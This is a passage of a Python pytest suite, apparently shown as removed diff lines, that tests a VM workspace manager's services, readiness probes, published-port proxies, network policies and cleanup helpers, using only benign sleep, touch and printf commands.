manager._reap_expired_workspaces_locked(time.time()) # noqa: SLF001 - - assert not invalid_dir.exists() - assert not (tmp_path / "vms" / "workspaces" / workspace_id).exists() - - -def test_workspace_service_lifecycle_and_status_counts(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - started = manager.start_service( - workspace_id, - "app", - command="sh -lc 'printf \"service ready\\n\"; touch .ready; while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - ) - assert started["state"] == "running" - - listed = manager.list_services(workspace_id) - assert listed["count"] == 1 - assert listed["running_count"] == 1 - - status = manager.status_service(workspace_id, "app") - assert status["state"] == "running" - assert status["ready_at"] is not None - - logs = manager.logs_service(workspace_id, "app") - assert "service ready" in str(logs["stdout"]) - - workspace_status = manager.status_workspace(workspace_id) - assert workspace_status["service_count"] == 1 - assert workspace_status["running_service_count"] == 1 - - stopped = manager.stop_service(workspace_id, "app") - assert stopped["state"] == "stopped" - assert stopped["stop_reason"] in {"sigterm", "sigkill"} - - deleted = manager.delete_workspace(workspace_id) - assert deleted["deleted"] is True - - -def test_workspace_create_serializes_network_policy(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=True, - ) - manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 - - created = manager.create_workspace( - environment="debian:12-base", - network_policy="egress", - ) - - assert created["network_policy"] == "egress" - workspace_id = str(created["workspace_id"]) - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - assert payload["network_policy"] == "egress" - - -def test_workspace_service_start_serializes_published_ports( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=True, - ) - manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 - created = manager.create_workspace( - environment="debian:12-base", - network_policy="egress+published-ports", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["network"] = { - "vm_id": workspace_id, - "tap_name": "tap-test0", - "guest_ip": "172.29.1.2", - "gateway_ip": "172.29.1.1", - "subnet_cidr": "172.29.1.0/30", - "mac_address": "06:00:ac:1d:01:02", - "dns_servers": ["1.1.1.1"], - } - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - monkeypatch.setattr( - manager, - "_start_workspace_service_published_ports", - lambda **kwargs: [ - vm_manager_module.WorkspacePublishedPortRecord( - guest_port=8080, - host_port=18080, - host="127.0.0.1", - protocol="tcp", - proxy_pid=9999, - ) - ], - ) - monkeypatch.setattr( - manager, - "_refresh_workspace_liveness_locked", - lambda workspace: None, - ) - - started = manager.start_service( - workspace_id, - "web", - command="sh -lc 'touch .ready && while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - published_ports=[{"guest_port": 8080, "host_port": 18080}], - ) - - assert started["published_ports"] == [ - { - "host": "127.0.0.1", - "host_port": 18080, - "guest_port": 8080, - "protocol": "tcp", - } - ] - - -def test_workspace_service_start_rejects_published_ports_without_network_policy( - tmp_path: Path, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - with pytest.raises( - RuntimeError, - match="published ports require workspace network_policy 'egress\\+published-ports'", - ): - manager.start_service( - workspace_id, - "web", - command="sh -lc 'touch .ready && while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - published_ports=[{"guest_port": 8080}], - ) - - -def test_workspace_service_start_rejects_published_ports_without_active_network( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=True, - ) - manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 - monkeypatch.setattr( - manager, - "_refresh_workspace_liveness_locked", - lambda workspace: None, - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - network_policy="egress+published-ports", - allow_host_compat=True, - )["workspace_id"] - ) - - with pytest.raises(RuntimeError, match="published ports require an active guest network"): - manager.start_service( - workspace_id, - "web", - command="sh -lc 'touch .ready && while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - published_ports=[{"guest_port": 8080}], - ) - - -def test_workspace_service_start_published_port_failure_marks_service_failed( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=True, - ) - manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 - monkeypatch.setattr( - manager, - "_refresh_workspace_liveness_locked", - lambda workspace: None, - ) - created = manager.create_workspace( - environment="debian:12-base", - network_policy="egress+published-ports", - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["network"] = { - "vm_id": workspace_id, - "tap_name": "tap-test0", - "guest_ip": "172.29.1.2", - "gateway_ip": "172.29.1.1", - "subnet_cidr": "172.29.1.0/30", - "mac_address": "06:00:ac:1d:01:02", - "dns_servers": ["1.1.1.1"], - } - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - def _raise_proxy_failure( - **kwargs: object, - ) -> list[vm_manager_module.WorkspacePublishedPortRecord]: - del kwargs - raise RuntimeError("proxy boom") - - monkeypatch.setattr(manager, "_start_workspace_service_published_ports", _raise_proxy_failure) - - started = manager.start_service( - workspace_id, - "web", - command="sh -lc 'touch .ready && while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - published_ports=[{"guest_port": 8080, "host_port": 18080}], - ) - - assert started["state"] == "failed" - assert started["stop_reason"] == "published_port_failed" - assert started["published_ports"] == [] - - -def test_workspace_service_cleanup_stops_published_port_proxies( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = "workspace-cleanup" - service = vm_manager_module.WorkspaceServiceRecord( - workspace_id=workspace_id, - service_name="web", - command="sleep 60", - cwd="/workspace", - state="running", - pid=1234, - started_at=time.time(), - ended_at=None, - exit_code=None, - execution_mode="host_compat", - readiness=None, - ready_at=None, - stop_reason=None, - published_ports=[ - vm_manager_module.WorkspacePublishedPortRecord( - guest_port=8080, - host_port=18080, - proxy_pid=9999, - ) - ], - ) - manager._save_workspace_service_locked(service) # noqa: SLF001 - stopped: list[int | None] = [] - monkeypatch.setattr( - vm_manager_module, - "_stop_workspace_published_port_proxy", - lambda published_port: stopped.append(published_port.proxy_pid), - ) - - manager._delete_workspace_service_artifacts_locked(workspace_id, "web") # noqa: SLF001 - - assert stopped == [9999] - assert not manager._workspace_service_record_path(workspace_id, "web").exists() # noqa: SLF001 - - -def test_workspace_refresh_workspace_service_counts_stops_published_ports_when_stopped( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace = vm_manager_module.WorkspaceRecord( - workspace_id="workspace-counts", - environment="debian:12-base", - vcpu_count=1, - mem_mib=1024, - ttl_seconds=600, - created_at=time.time(), - expires_at=time.time() + 600, - state="stopped", - firecracker_pid=None, - last_error=None, - allow_host_compat=True, - network_policy="off", - metadata={}, - command_count=0, - last_command=None, - workspace_seed={ - "mode": "empty", - "seed_path": None, - "destination": "/workspace", - "entry_count": 0, - "bytes_written": 0, - }, - secrets=[], - reset_count=0, - last_reset_at=None, - ) - service = vm_manager_module.WorkspaceServiceRecord( - workspace_id=workspace.workspace_id, - service_name="web", - command="sleep 60", - cwd="/workspace", - state="running", - pid=1234, - started_at=time.time(), - ended_at=None, - exit_code=None, - execution_mode="host_compat", - readiness=None, - ready_at=None, - stop_reason=None, - published_ports=[ - vm_manager_module.WorkspacePublishedPortRecord( - guest_port=8080, - host_port=18080, - proxy_pid=9999, - ) - ], - ) - manager._save_workspace_service_locked(service) # noqa: SLF001 - stopped: list[int | None] = [] - monkeypatch.setattr( - vm_manager_module, - "_stop_workspace_published_port_proxy", - lambda published_port: stopped.append(published_port.proxy_pid), - ) - - manager._refresh_workspace_service_counts_locked(workspace) # noqa: SLF001 - - assert stopped == [9999] - refreshed = manager._load_workspace_service_locked(workspace.workspace_id, "web") # noqa: SLF001 - assert refreshed.state == "stopped" - assert refreshed.stop_reason == "workspace_stopped" - - -def test_workspace_published_port_proxy_helpers( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - services_dir = tmp_path / "services" - services_dir.mkdir(parents=True, exist_ok=True) - - class StubProcess: - def __init__(self, pid: int, *, exited: bool = False) -> None: - self.pid = pid - self._exited = exited - - def poll(self) -> int | None: - return 1 if self._exited else None - - def _fake_popen(command: list[str], **kwargs: object) -> StubProcess: - del kwargs - ready_file = Path(command[command.index("--ready-file") + 1]) - ready_file.write_text( - json.dumps( - { - "host": "127.0.0.1", - "host_port": 18080, - "target_host": "172.29.1.2", - "target_port": 8080, - "protocol": "tcp", - } - ), - encoding="utf-8", - ) - return StubProcess(4242) - - monkeypatch.setattr(subprocess, "Popen", _fake_popen) - - record = vm_manager_module._start_workspace_published_port_proxy( # noqa: SLF001 - services_dir=services_dir, - service_name="web", - workspace_id="workspace-proxy", - guest_ip="172.29.1.2", - spec=vm_manager_module.WorkspacePublishedPortSpec( - guest_port=8080, - host_port=18080, - ), - ) - - assert record.guest_port == 8080 - assert record.host_port == 18080 - assert record.proxy_pid == 4242 - - -def test_workspace_published_port_proxy_timeout_and_stop( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - services_dir = tmp_path / "services" - services_dir.mkdir(parents=True, exist_ok=True) - - class StubProcess: - pid = 4242 - - def poll(self) -> int | None: - return None - - monkeypatch.setattr(subprocess, "Popen", lambda *args, **kwargs: StubProcess()) - monotonic_values = iter([0.0, 0.0, 5.1]) - monkeypatch.setattr(time, "monotonic", lambda: next(monotonic_values)) - monkeypatch.setattr(time, "sleep", lambda _: None) - stopped: list[int | None] = [] - monkeypatch.setattr( - vm_manager_module, - "_stop_workspace_published_port_proxy", - lambda published_port: stopped.append(published_port.proxy_pid), - ) - - with pytest.raises(RuntimeError, match="timed out waiting for published port proxy readiness"): - vm_manager_module._start_workspace_published_port_proxy( # noqa: SLF001 - services_dir=services_dir, - service_name="web", - workspace_id="workspace-proxy", - guest_ip="172.29.1.2", - spec=vm_manager_module.WorkspacePublishedPortSpec( - guest_port=8080, - host_port=18080, - ), - ) - - assert stopped == [4242] - - -def test_workspace_published_port_validation_and_stop_helper( - monkeypatch: pytest.MonkeyPatch, -) -> None: - spec = vm_manager_module._normalize_workspace_published_port( # noqa: SLF001 - guest_port="8080", - host_port="18080", - ) - assert spec.guest_port == 8080 - assert spec.host_port == 18080 - with pytest.raises(ValueError, match="published guest_port must be an integer"): - vm_manager_module._normalize_workspace_published_port(guest_port=object()) # noqa: SLF001 - with pytest.raises(ValueError, match="published host_port must be between 1025 and 65535"): - vm_manager_module._normalize_workspace_published_port( # noqa: SLF001 - guest_port=8080, - host_port=80, - ) - - signals: list[int] = [] - monkeypatch.setattr(os, "killpg", lambda pid, sig: signals.append(sig)) - running = iter([True, False]) - monkeypatch.setattr(vm_manager_module, "_pid_is_running", lambda pid: next(running)) - monkeypatch.setattr(time, "sleep", lambda _: None) - - vm_manager_module._stop_workspace_published_port_proxy( # noqa: SLF001 - vm_manager_module.WorkspacePublishedPortRecord( - guest_port=8080, - host_port=18080, - proxy_pid=9999, - ) - ) - - assert signals == [signal.SIGTERM] - - -def test_workspace_network_policy_requires_guest_network_support(tmp_path: Path) -> None: - manager = VmManager( - backend_name="firecracker", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 - supports_vm_boot=False, - supports_guest_exec=False, - supports_guest_network=False, - reason="no guest network", - ) - - with pytest.raises(RuntimeError, match="workspace network_policy requires guest networking"): - manager._require_workspace_network_policy_support( # noqa: SLF001 - network_policy="egress" - ) - - -def test_prepare_workspace_seed_rejects_missing_and_invalid_paths(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - - with pytest.raises(ValueError, match="does not exist"): - manager._prepare_workspace_seed(tmp_path / "missing") # noqa: SLF001 - - invalid_source = tmp_path / "seed.txt" - invalid_source.write_text("seed", encoding="utf-8") - - with pytest.raises( - ValueError, - match="seed_path must be a directory or a .tar/.tar.gz/.tgz archive", - ): - manager._prepare_workspace_seed(invalid_source) # noqa: SLF001 - - -def test_workspace_baseline_snapshot_requires_archive(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" - baseline_path.unlink() - workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 - - with pytest.raises(RuntimeError, match="baseline snapshot"): - manager._workspace_baseline_snapshot_locked(workspace) # noqa: SLF001 - - -def test_workspace_snapshot_and_service_loaders_handle_invalid_payloads(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = "workspace-invalid" - services_dir = tmp_path / "vms" / "workspaces" / workspace_id / "services" - snapshots_dir = tmp_path / "vms" / "workspaces" / workspace_id / "snapshots" - services_dir.mkdir(parents=True, exist_ok=True) - snapshots_dir.mkdir(parents=True, exist_ok=True) - (services_dir / "svc.json").write_text("[]", encoding="utf-8") - (snapshots_dir / "snap.json").write_text("[]", encoding="utf-8") - - with pytest.raises(RuntimeError, match="service record"): - manager._load_workspace_service_locked(workspace_id, "svc") # noqa: SLF001 - with pytest.raises(RuntimeError, match="snapshot record"): - manager._load_workspace_snapshot_locked(workspace_id, "snap") # noqa: SLF001 - with pytest.raises(RuntimeError, match="snapshot record"): - manager._load_workspace_snapshot_locked_optional(workspace_id, "snap") # noqa: SLF001 - assert manager._load_workspace_snapshot_locked_optional(workspace_id, "missing") is None # noqa: SLF001 - - -def test_workspace_shell_helpers_handle_missing_invalid_and_close_errors( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - - assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 - - shells_dir = tmp_path / "vms" / "workspaces" / workspace_id / "shells" - shells_dir.mkdir(parents=True, exist_ok=True) - (shells_dir / "invalid.json").write_text("[]", encoding="utf-8") - assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 - - shell = vm_manager_module.WorkspaceShellRecord( - workspace_id=workspace_id, - shell_id="shell-1", - cwd="/workspace", - cols=120, - rows=30, - state="running", - started_at=time.time(), - ) - manager._save_workspace_shell_locked(shell) # noqa: SLF001 - workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 - instance = workspace.to_instance( - workdir=tmp_path / "vms" / "workspaces" / workspace_id / "runtime" - ) - - def _raise_close(**kwargs: object) -> dict[str, object]: - del kwargs - raise RuntimeError("shell close boom") - - monkeypatch.setattr(manager._backend, "close_shell", _raise_close) - manager._close_workspace_shells_locked(workspace, instance) # noqa: SLF001 - assert manager._list_workspace_shells_locked(workspace_id) == [] # noqa: SLF001 - - -def test_workspace_refresh_service_helpers_cover_exit_and_started_refresh( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - allow_host_compat=True, - ) - workspace_id = str(created["workspace_id"]) - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["state"] = "started" - payload["network"] = { - "vm_id": workspace_id, - "tap_name": "tap-test0", - "guest_ip": "172.29.1.2", - "gateway_ip": "172.29.1.1", - "subnet_cidr": "172.29.1.0/30", - "mac_address": "06:00:ac:1d:01:02", - "dns_servers": ["1.1.1.1"], - } - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 - instance = workspace.to_instance( - workdir=tmp_path / "vms" / "workspaces" / workspace_id / "runtime" - ) - - service = vm_manager_module.WorkspaceServiceRecord( - workspace_id=workspace_id, - service_name="web", - command="sleep 60", - cwd="/workspace", - state="running", - started_at=time.time(), - execution_mode="guest_vsock", - published_ports=[ - vm_manager_module.WorkspacePublishedPortRecord( - guest_port=8080, - host_port=18080, - proxy_pid=9999, - ) - ], - ) - manager._save_workspace_service_locked(service) # noqa: SLF001 - stopped: list[int | None] = [] - monkeypatch.setattr( - vm_manager_module, - "_stop_workspace_published_port_proxy", - lambda published_port: stopped.append(published_port.proxy_pid), - ) - monkeypatch.setattr( - manager._backend, - "status_service", - lambda *args, **kwargs: { - "service_name": "web", - "command": "sleep 60", - "cwd": "/workspace", - "state": "exited", - "started_at": service.started_at, - "ended_at": service.started_at + 1, - "exit_code": 0, - "execution_mode": "guest_vsock", - }, - ) - - refreshed = manager._refresh_workspace_service_locked( # noqa: SLF001 - workspace, - instance, - service, - ) - assert refreshed.state == "exited" - assert refreshed.published_ports == [ - vm_manager_module.WorkspacePublishedPortRecord( - guest_port=8080, - host_port=18080, - proxy_pid=None, - ) - ] - assert stopped == [9999] - - manager._save_workspace_service_locked(service) # noqa: SLF001 - refreshed_calls: list[str] = [] - monkeypatch.setattr(manager, "_require_workspace_service_support", lambda instance: None) - - def _refresh_services( - workspace: vm_manager_module.WorkspaceRecord, - instance: vm_manager_module.VmInstance, - ) -> list[vm_manager_module.WorkspaceServiceRecord]: - del instance - refreshed_calls.append(workspace.workspace_id) - return [] - - monkeypatch.setattr( - manager, - "_refresh_workspace_services_locked", - _refresh_services, - ) - manager._refresh_workspace_service_counts_locked(workspace) # noqa: SLF001 - assert refreshed_calls == [workspace_id] - - -def test_workspace_start_published_ports_cleans_up_partial_failure( - tmp_path: Path, - monkeypatch: pytest.MonkeyPatch, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - created = manager.create_workspace( - environment="debian:12", - vcpu_count=1, - mem_mib=512, - ttl_seconds=600, - allow_host_compat=True, - ) - workspace = manager._load_workspace_locked(str(created["workspace_id"])) # noqa: SLF001 - service = vm_manager_module.WorkspaceServiceRecord( - workspace_id=workspace.workspace_id, - service_name="web", - command="sleep 60", - cwd="/workspace", - state="running", - started_at=time.time(), - execution_mode="guest_vsock", - ) - started_record = vm_manager_module.WorkspacePublishedPortRecord( - guest_port=8080, - host_port=18080, - proxy_pid=9999, - ) - calls: list[int] = [] - - def _start_proxy(**kwargs: object) -> vm_manager_module.WorkspacePublishedPortRecord: - spec = cast(vm_manager_module.WorkspacePublishedPortSpec, kwargs["spec"]) - if spec.guest_port == 8080: - return started_record - raise RuntimeError("proxy boom") - - monkeypatch.setattr(vm_manager_module, "_start_workspace_published_port_proxy", _start_proxy) - monkeypatch.setattr( - vm_manager_module, - "_stop_workspace_published_port_proxy", - lambda published_port: calls.append(published_port.proxy_pid or -1), - ) - - with pytest.raises(RuntimeError, match="proxy boom"): - manager._start_workspace_service_published_ports( # noqa: SLF001 - workspace=workspace, - service=service, - guest_ip="172.29.1.2", - published_ports=[ - vm_manager_module.WorkspacePublishedPortSpec(guest_port=8080), - vm_manager_module.WorkspacePublishedPortSpec(guest_port=9090), - ], - ) - - assert calls == [9999] - - -def test_workspace_service_start_replaces_non_running_record(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - failed = manager.start_service( - workspace_id, - "app", - command="sh -lc 'exit 2'", - readiness={"type": "file", "path": ".ready"}, - ready_timeout_seconds=1, - ready_interval_ms=50, - ) - assert failed["state"] == "failed" - - started = manager.start_service( - workspace_id, - "app", - command="sh -lc 'touch .ready; while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - ) - assert started["state"] == "running" - manager.delete_workspace(workspace_id) - - -def test_workspace_service_supports_command_readiness_and_helper_probes( - tmp_path: Path, monkeypatch: pytest.MonkeyPatch -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - command_started = manager.start_service( - workspace_id, - "command-ready", - command="sh -lc 'touch command.ready; while true; do sleep 60; done'", - readiness={"type": "command", "command": "test -f command.ready"}, - ) - assert command_started["state"] == "running" - - listed = manager.list_services(workspace_id) - assert listed["count"] == 1 - assert listed["running_count"] == 1 - - status = manager.status_workspace(workspace_id) - assert status["service_count"] == 1 - assert status["running_service_count"] == 1 - - assert manager.stop_service(workspace_id, "command-ready")["state"] == "stopped" - - workspace_dir = tmp_path / "vms" / "workspaces" / workspace_id / "workspace" - ready_file = workspace_dir / "probe.ready" - ready_file.write_text("ok\n", encoding="utf-8") - assert vm_manager_module._service_ready_on_host( # noqa: SLF001 - readiness={"type": "file", "path": "/workspace/probe.ready"}, - workspace_dir=workspace_dir, - cwd=workspace_dir, - ) - - class StubSocket: - def __enter__(self) -> StubSocket: - return self - - def __exit__(self, *args: object) -> None: - del args - - def settimeout(self, timeout: int) -> None: - assert timeout == 1 - - def connect(self, address: tuple[str, int]) -> None: - assert address == ("127.0.0.1", 8080) - - monkeypatch.setattr("pyro_mcp.vm_manager.socket.socket", lambda *args: StubSocket()) - assert vm_manager_module._service_ready_on_host( # noqa: SLF001 - readiness={"type": "tcp", "address": "127.0.0.1:8080"}, - workspace_dir=workspace_dir, - cwd=workspace_dir, - ) - - class StubResponse: - status = 204 - - def __enter__(self) -> StubResponse: - return self - - def __exit__(self, *args: object) -> None: - del args - - def _urlopen(request: object, timeout: int) -> StubResponse: - del request - assert timeout == 2 - return StubResponse() - - monkeypatch.setattr("pyro_mcp.vm_manager.urllib.request.urlopen", _urlopen) - assert vm_manager_module._service_ready_on_host( # noqa: SLF001 - readiness={"type": "http", "url": "http://127.0.0.1:8080/"}, - workspace_dir=workspace_dir, - cwd=workspace_dir, - ) - - -def test_workspace_service_logs_tail_and_delete_cleanup(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - - manager.start_service( - workspace_id, - "logger", - command=( - "sh -lc 'printf \"one\\n\"; printf \"two\\n\"; " - "touch .ready; while true; do sleep 60; done'" - ), - readiness={"type": "file", "path": ".ready"}, - ) - - logs = manager.logs_service(workspace_id, "logger", tail_lines=1) - assert logs["stdout"] == "two\n" - assert logs["truncated"] is True - - services_dir = tmp_path / "vms" / "workspaces" / workspace_id / "services" - assert services_dir.exists() - deleted = manager.delete_workspace(workspace_id) - assert deleted["deleted"] is True - assert not services_dir.exists() - - -def test_workspace_status_stops_service_counts_when_workspace_is_stopped(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "vms", - network_manager=TapNetworkManager(enabled=False), - ) - workspace_id = str( - manager.create_workspace( - environment="debian:12-base", - allow_host_compat=True, - )["workspace_id"] - ) - manager.start_service( - workspace_id, - "app", - command="sh -lc 'touch .ready; while true; do sleep 60; done'", - readiness={"type": "file", "path": ".ready"}, - ) - service_path = tmp_path / "vms" / "workspaces" / workspace_id / "services" / "app.json" - live_service_payload = json.loads(service_path.read_text(encoding="utf-8")) - live_pid = int(live_service_payload["pid"]) - - try: - workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" - payload = json.loads(workspace_path.read_text(encoding="utf-8")) - payload["state"] = "stopped" - workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") - - status = manager.status_workspace(workspace_id) - assert status["state"] == "stopped" - assert status["service_count"] == 1 - assert status["running_service_count"] == 0 - - service_payload = json.loads(service_path.read_text(encoding="utf-8")) - assert service_payload["state"] == "stopped" - assert service_payload["stop_reason"] == "workspace_stopped" - finally: - vm_manager_module._stop_process_group(live_pid) # noqa: SLF001 - - -def test_workspace_service_readiness_validation_helpers() -> None: - assert vm_manager_module._normalize_workspace_service_name("app-1") == "app-1" # noqa: SLF001 - with pytest.raises(ValueError, match="service_name must not be empty"): - vm_manager_module._normalize_workspace_service_name(" ") # noqa: SLF001 - with pytest.raises(ValueError, match="service_name must match"): - vm_manager_module._normalize_workspace_service_name("bad name") # noqa: SLF001 - - assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 - {"type": "file", "path": "subdir/.ready"} - ) == {"type": "file", "path": "/workspace/subdir/.ready"} - assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 - {"type": "tcp", "address": "127.0.0.1:8080"} - ) == {"type": "tcp", "address": "127.0.0.1:8080"} - assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 - {"type": "http", "url": "http://127.0.0.1:8080/"} - ) == {"type": "http", "url": "http://127.0.0.1:8080/"} - assert vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 - {"type": "command", "command": "test -f .ready"} - ) == {"type": "command", "command": "test -f .ready"} - - with pytest.raises(ValueError, match="one of: file, tcp, http, command"): - vm_manager_module._normalize_workspace_service_readiness({"type": "bogus"}) # noqa: SLF001 - with pytest.raises(ValueError, match="required for file readiness"): - vm_manager_module._normalize_workspace_service_readiness({"type": "file"}) # noqa: SLF001 - with pytest.raises(ValueError, match="HOST:PORT format"): - vm_manager_module._normalize_workspace_service_readiness( # noqa: SLF001 - {"type": "tcp", "address": "127.0.0.1"} - ) - with pytest.raises(ValueError, match="required for http readiness"): - vm_manager_module._normalize_workspace_service_readiness({"type": "http"}) # noqa: SLF001 - with pytest.raises(ValueError, match="required for command readiness"): - vm_manager_module._normalize_workspace_service_readiness({"type": "command"}) # noqa: SLF001 - - -def test_workspace_service_text_and_exit_code_helpers(tmp_path: Path) -> None: - status_path = tmp_path / "service.status" - assert vm_manager_module._read_service_exit_code(status_path) is None # noqa: SLF001 - status_path.write_text("", encoding="utf-8") - assert vm_manager_module._read_service_exit_code(status_path) is None # noqa: SLF001 - status_path.write_text("7\n", encoding="utf-8") - assert vm_manager_module._read_service_exit_code(status_path) == 7 # noqa: SLF001 - - log_path = tmp_path / "service.log" - assert vm_manager_module._tail_text(log_path, tail_lines=10) == ("", False) # noqa: SLF001 - log_path.write_text("one\ntwo\nthree\n", encoding="utf-8") - assert vm_manager_module._tail_text(log_path, tail_lines=None) == ( # noqa: SLF001 - "one\ntwo\nthree\n", - False, - ) - assert vm_manager_module._tail_text(log_path, tail_lines=5) == ( # noqa: SLF001 - "one\ntwo\nthree\n", - False, - ) - assert vm_manager_module._tail_text(log_path, tail_lines=1) == ("three\n", True) # noqa: SLF001 - - -def test_workspace_service_process_group_helpers(monkeypatch: pytest.MonkeyPatch) -> None: - def _missing(_pid: int, _signal: int) -> None: - raise ProcessLookupError() - - monkeypatch.setattr("pyro_mcp.vm_manager.os.killpg", _missing) - assert vm_manager_module._stop_process_group(123) == (False, False) # noqa: SLF001 - - kill_calls: list[int] = [] - monotonic_values = iter([0.0, 0.0, 5.0, 5.0, 10.0]) - running_states = iter([True, True, False]) - - def _killpg(_pid: int, signum: int) -> None: - kill_calls.append(signum) - - def _monotonic() -> float: - return next(monotonic_values) - - def _is_running(_pid: int | None) -> bool: - return next(running_states) - - 